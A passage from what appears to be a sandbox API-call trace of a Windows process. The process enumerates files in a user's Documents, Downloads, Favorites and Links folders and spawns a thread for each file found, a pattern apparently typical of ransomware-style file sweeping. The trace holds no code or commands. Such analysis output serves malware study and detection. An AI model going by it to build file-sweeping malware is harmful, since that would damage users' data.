ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0xcfb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XqhbQGBBxuz2zQT.odp", cAlternateFileName="XQHBQG~1.ODP")) returned 1 [0051.640] wcscmp (_String1="XqhbQGBBxuz2zQT.odp", _String2=".") returned 1 [0051.640] wcscmp (_String1="XqhbQGBBxuz2zQT.odp", _String2="..") returned 1 [0051.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e08518 [0051.640] wcscpy (in: _Dest=0x12e08518, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.640] wcscat (in: _Dest=0x12e08518, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.640] wcscat (in: _Dest=0x12e08518, _Source="XqhbQGBBxuz2zQT.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp" [0051.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdcc [0051.641] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb24973f0, ftCreationTime.dwHighDateTime=0x1d4c7c5, ftLastAccessTime.dwLowDateTime=0x5346d7f0, ftLastAccessTime.dwHighDateTime=0x1d4c534, ftLastWriteTime.dwLowDateTime=0x5346d7f0, ftLastWriteTime.dwHighDateTime=0x1d4c534, nFileSizeHigh=0x0, nFileSizeLow=0xa87f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y49k.pdf", cAlternateFileName="")) returned 1 [0051.641] wcscmp (_String1="Y49k.pdf", _String2=".") returned 1 [0051.641] wcscmp (_String1="Y49k.pdf", _String2="..") returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x43c550 [0051.641] wcscpy (in: _Dest=0x43c550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.641] wcscat (in: _Dest=0x43c550, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.641] wcscat (in: _Dest=0x43c550, _Source="Y49k.pdf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Y49k.pdf" [0051.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0 [0051.642] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37342b0, ftCreationTime.dwHighDateTime=0x1d4cb9c, ftLastAccessTime.dwLowDateTime=0x1feb23b0, ftLastAccessTime.dwHighDateTime=0x1d4d52f, ftLastWriteTime.dwLowDateTime=0x1feb23b0, ftLastWriteTime.dwHighDateTime=0x1d4d52f, nFileSizeHigh=0x0, nFileSizeLow=0xf218, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zM7uBdyE.pdf", cAlternateFileName="")) returned 1 [0051.642] wcscmp (_String1="zM7uBdyE.pdf", _String2=".") returned 1 [0051.643] wcscmp (_String1="zM7uBdyE.pdf", _String2="..") returned 1 [0051.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5ed5e68 [0051.643] wcscpy (in: _Dest=0x5ed5e68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.643] wcscat (in: _Dest=0x5ed5e68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.643] wcscat (in: _Dest=0x5ed5e68, _Source="zM7uBdyE.pdf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zM7uBdyE.pdf" [0051.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4 [0051.644] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb5cb70, ftCreationTime.dwHighDateTime=0x1d4d256, ftLastAccessTime.dwLowDateTime=0x706dbc50, ftLastAccessTime.dwHighDateTime=0x1d4cadd, ftLastWriteTime.dwLowDateTime=0x706dbc50, ftLastWriteTime.dwHighDateTime=0x1d4cadd, nFileSizeHigh=0x0, nFileSizeLow=0x1767a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zqjwOeZwbN1Zpb4PYGDN.odt", cAlternateFileName="ZQJWOE~1.ODT")) returned 1 [0051.644] wcscmp (_String1="zqjwOeZwbN1Zpb4PYGDN.odt", _String2=".") returned 1 [0051.644] wcscmp (_String1="zqjwOeZwbN1Zpb4PYGDN.odt", _String2="..") returned 1 [0051.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417500 [0051.644] wcscpy (in: _Dest=0x417500, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.644] wcscat (in: _Dest=0x417500, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.644] wcscat (in: _Dest=0x417500, _Source="zqjwOeZwbN1Zpb4PYGDN.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zqjwOeZwbN1Zpb4PYGDN.odt" [0051.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8 [0051.645] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee7cb0, ftCreationTime.dwHighDateTime=0x1d4c84e, ftLastAccessTime.dwLowDateTime=0x4a7971a0, ftLastAccessTime.dwHighDateTime=0x1d4cb42, ftLastWriteTime.dwLowDateTime=0x4a7971a0, ftLastWriteTime.dwHighDateTime=0x1d4cb42, nFileSizeHigh=0x0, nFileSizeLow=0x31af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5GFsgxE6scq.csv", cAlternateFileName="_5GFSG~1.CSV")) returned 1 [0051.645] wcscmp (_String1="_5GFsgxE6scq.csv", _String2=".") returned 1 [0051.646] wcscmp (_String1="_5GFsgxE6scq.csv", _String2="..") returned 1 [0051.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08598 [0051.646] wcscpy (in: _Dest=0x12e08598, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.646] wcscat (in: _Dest=0x12e08598, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.646] wcscat (in: _Dest=0x12e08598, _Source="_5GFsgxE6scq.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_5GFsgxE6scq.csv" [0051.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc [0051.647] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee7cb0, ftCreationTime.dwHighDateTime=0x1d4c84e, ftLastAccessTime.dwLowDateTime=0x4a7971a0, ftLastAccessTime.dwHighDateTime=0x1d4cb42, ftLastWriteTime.dwLowDateTime=0x4a7971a0, ftLastWriteTime.dwHighDateTime=0x1d4cb42, nFileSizeHigh=0x0, nFileSizeLow=0x31af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5GFsgxE6scq.csv", cAlternateFileName="_5GFSG~1.CSV")) returned 0 [0051.647] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0051.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e458) returned 1 [0051.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a610) returned 1 [0051.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414150) returned 1 Thread: id = 176 os_tid = 0x7d8 [0046.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a670 [0046.276] wcscpy (in: _Dest=0x44a670, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0046.276] wcscat (in: _Dest=0x44a670, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" [0046.276] wcscat (in: _Dest=0x44a670, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*" [0046.276] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e6c0 [0046.276] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a168 [0046.276] wcscmp (_String1=".", _String2=".") returned 0 [0046.276] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.277] wcscmp (_String1="..", _String2=".") returned 1 [0046.277] wcscmp (_String1="..", _String2="..") returned 0 [0046.277] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.277] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.277] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.277] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.277] FindClose (in: hFindFile=0x40a168 | out: hFindFile=0x40a168) returned 1 [0046.277] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e6c0) returned 1 [0046.277] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a670) returned 1 [0046.277] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4141a8) returned 1 Thread: id = 177 os_tid = 0x7c8 [0046.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a670 [0046.278] wcscpy (in: _Dest=0x44a670, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0046.278] wcscat (in: _Dest=0x44a670, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0046.278] wcscat (in: _Dest=0x44a670, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*" [0046.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e6c0 [0046.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a168 [0046.278] wcscmp (_String1=".", _String2=".") returned 0 [0046.278] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.278] wcscmp (_String1="..", _String2=".") returned 1 [0046.278] wcscmp (_String1="..", _String2="..") returned 0 [0046.278] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.278] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.278] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.278] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0046.278] wcscmp (_String1="Links", _String2=".") returned 1 [0046.278] wcscmp (_String1="Links", _String2="..") returned 1 [0046.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445fe8 [0046.278] wcscpy (in: _Dest=0x445fe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0046.278] wcscat (in: _Dest=0x445fe8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0046.278] wcscat (in: _Dest=0x445fe8, _Source="Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0049.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0049.052] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0049.052] wcscmp (_String1="Microsoft Websites", _String2=".") returned 1 [0049.052] wcscmp (_String1="Microsoft Websites", _String2="..") returned 1 [0049.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400598 [0049.052] wcscpy (in: _Dest=0x400598, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0049.052] wcscat (in: _Dest=0x400598, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0049.053] wcscat (in: _Dest=0x400598, _Source="Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0049.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0049.054] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0049.054] wcscmp (_String1="MSN Websites", _String2=".") returned 1 [0049.054] wcscmp (_String1="MSN Websites", _String2="..") returned 1 [0049.054] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418938 [0049.054] wcscpy (in: _Dest=0x418938, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0049.054] wcscat (in: _Dest=0x418938, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0049.054] wcscat (in: _Dest=0x418938, _Source="MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0049.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0049.055] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0049.055] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0049.055] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0049.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418c08 [0049.055] wcscpy (in: _Dest=0x418c08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0049.055] wcscat (in: _Dest=0x418c08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0049.055] wcscat (in: _Dest=0x418c08, _Source="Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0049.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0049.056] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0049.056] FindClose (in: hFindFile=0x40a168 | out: hFindFile=0x40a168) returned 1 [0049.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e6c0) returned 1 [0049.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a670) returned 1 [0049.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414200) returned 1 Thread: id = 178 os_tid = 0x5b8 [0046.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4141a8 [0046.279] wcscpy (in: _Dest=0x4141a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0046.279] wcscat (in: _Dest=0x4141a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0046.279] wcscat (in: _Dest=0x4141a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*" [0046.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0046.279] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1a8 [0046.279] wcscmp (_String1=".", _String2=".") returned 0 [0046.279] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.279] wcscmp (_String1="..", _String2=".") returned 1 [0046.279] wcscmp (_String1="..", _String2="..") returned 0 [0046.279] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.279] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.279] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.279] FindNextFileW (in: hFindFile=0x40a1a8, 